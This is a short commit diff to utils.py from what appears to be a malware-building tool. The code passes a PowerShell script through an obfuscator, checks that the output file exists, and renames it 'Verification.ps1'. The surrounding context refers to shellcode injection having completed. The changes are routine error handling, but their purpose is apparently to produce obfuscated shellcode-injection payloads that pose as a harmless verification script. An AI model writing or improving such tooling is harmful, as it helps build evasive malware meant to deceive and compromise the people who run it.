Update utils.py

utils.py

@@ -40,14 +40,14 @@ def generate_random_string(length=8):
 
 def obfuscate_powershell_script(ps1_path):
     try:
-        cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
-        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
-        process.stdin.write(f"{ps1_path}\n")
-        process.stdin.flush()
+        obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
+        cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}" "{ps1_path}" "{obfuscated_file}"'
+        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
         stdout, stderr = process.communicate()
         if process.returncode != 0:
             raise Exception(f"Error obfuscating PowerShell script: {stderr}")
-        obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
+        if not os.path.exists(obfuscated_file):
+            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
         return obfuscated_file
     except Exception as e:
         raise Exception(f"Obfuscation failed: {str(e)}")
@@ -342,6 +342,10 @@ Write-Host "Shellcode injection completed successfully."
         # Obfuscate the PowerShell script
         obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
 
+        # Verify that the obfuscated file exists before renaming
+        if not os.path.exists(obfuscated_ps1_path):
+            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
+
         # Rename the obfuscated file to Verification.ps1
         verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
         os.rename(obfuscated_ps1_path, verification_ps1_path)